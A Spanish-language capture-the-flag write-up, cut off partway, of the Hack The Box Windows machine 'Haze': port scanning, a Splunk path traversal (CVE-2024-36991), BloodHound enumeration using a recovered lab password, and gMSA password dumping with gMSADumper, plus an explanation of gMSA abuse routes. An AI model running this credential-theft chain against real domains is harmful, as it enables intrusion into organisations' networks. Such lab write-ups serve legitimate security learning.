En esta ocasión vamos a hacer el writeup de la máquina Haze de Hack the Box, una máquina Windows de dificultad Hard.
Última actualización
¿Te fue útil?
Primer contacto
Añadimos la IP 10.10.11.61 a nuestro /etc/hosts y accedemos través del navegador.
sudo echo "10.10.11.61 haze.htb" | sudo tee -a /etc/hosts
Escaneo de puertos
sudo nmap -v -sV -T5 10.10.11.61
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-07 22:22:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open http Splunkd httpd
8088/tcp open ssl/http Splunkd httpd
8089/tcp open ssl/http Splunkd httpd
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
El host 10.10.11.61 es un Domain Controller Windows (presencia de Kerberos, LDAP y Global Catalog) con Splunkd expuesto por múltiples puertos HTTP/HTTPS. Esto sugiere vectores de ataque tanto en el dominio como en aplicaciones web internas como Splunk.
Puerto
Servicio
Descripción Técnica
53
DNS
Resolución interna, útil para zona DNS y enum. de subdominios
88
Kerberos
Confirmación de Active Directory
135/139/445
MSRPC, NetBIOS, SMB
Vectores comunes para null sessions, shares, y enumeración de usuarios
389/636/3268/3269
LDAP y GC (LDAP + LDAPS)
Enumeración de usuarios y grupos del dominio
5985
WinRM
Ejecución remota si conseguimos credenciales
8000/8088/8089
Splunkd
Acceso al panel de Splunk, posiblemente vulnerable
Domain Controller
FQDN: dc01.haze.htb
Dominio: haze.htb
Windows Server 2022
Single-domain forest
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after: 2026-03-05T07:12:20
| MD5: db18:a1f5:986c:1470:b848:35ec:d437:1ca0
|_SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
Enumeración de usuarios
Usando Kerbrute para enumerar usuarios del sistema parece que solo nos encuentra al usuario administrator:
No funcionan las credenciales por defecto admin:changeme
Puerto 8089
Configuración del servidor de implementación
Versión 9.2.1 (podríamos encontrar algún exploit público)
Búsqueda de exploits
Buscando exploits públicos vemos que es vulnerable a Path Traversal con el CVE-2024-36991:
Al ejecutarlo, revela archivos de configuración, el etc/passwd, logs y historial, archivos y servicios de sistema y scripts en entornos Splunk sin autenticación, explotando un Path Traversal:
Concretamente encuentra 3 usuarios nuevos, además del admin:
Edward@haze.htb
Mark@haze.htb
paul@haze.htb
Este exploit sirve para leer cualquier archivo de Splunk sin estar autenticados, por lo que podríamos intentar leer los archivo de configuración de Splunk.
A simple vista nos llama la atención el archivo authentication.conf, que se encuentra en la ruta:
bloodhound-python -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -ns 10.10.11.61 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 10S
INFO: Compressing output into 20250507214438_bloodhound.zip
Análisis
Vemos que el usuario mark pertenece al grupo GMSA_MANAGERS (Group Managed Service Accounts:
Como miembro del grupo de administradores de gMSA , tiene permisos para recuperar y administrar contraseñas de cuentas de servicio administradas por grupo (gMSA). Si quieres entender cómo se puede explotar este privilegio, aquí están los posibles caminos:
Leer directamente la contraseña de gMSA: la contraseña de gMSA se almacena msDS-ManagedPassworden los atributos de Active Directory y solo las cuentas autorizadas (como los miembros del grupo de administradores de gMSA) pueden acceder a ella. Como miembro del grupo Administradores, puede recuperar y descifrar directamente este atributo para obtener la contraseña de texto sin formato. Esto le permite iniciar sesión o realizar acciones como gMSA, obteniendo potencialmente privilegios elevados del sistema.
Ataque de retransmisión NTLM: al explotar la vulnerabilidad del protocolo NTLM, un atacante puede retransmitir solicitudes de autenticación NTLM al servicio LDAP o LDAPS, accediendo así msDS-ManagedPassworda los atributos y obteniendo la contraseña gMSA. Sin embargo, este método requiere condiciones y configuraciones de red específicas y tiene tasas de éxito limitadas.
Ataque gMSA dorado: si un atacante tiene acceso a los atributos de la clave raíz del Servicio de distribución de claves (KDS), puede generar contraseñas para todos los gMSA asociados sin conexión. Esto se conoce como ataque “gMSA dorado” y permite a un atacante recolectar continuamente las contraseñas de la gMSA sin activar cambios de contraseñas ni registros de acceso.
Leer la contraseña de GMSAPsword
Usaremos gMSADumper:
python gMSADumper.py -u 'mark.adams' -p 'Ld@p_Autxxxxxxxxxxx' -d haze.htb
Users or groups who can read password for Haze-IT-Backup$:
> Domain Admins
Mark no tiene este permiso actualmente , pero pertenece al grupo de administradores y puede agregar permisos a sí mismo .
Tenga en cuenta que gMSA no es un grupo, sino un tipo de cuenta especial. ! Entonces no puedo encontrarlo en bloodhound
Puede comprobar el tipo de cuenta de Haze-IT-Backup$ con el siguiente comando: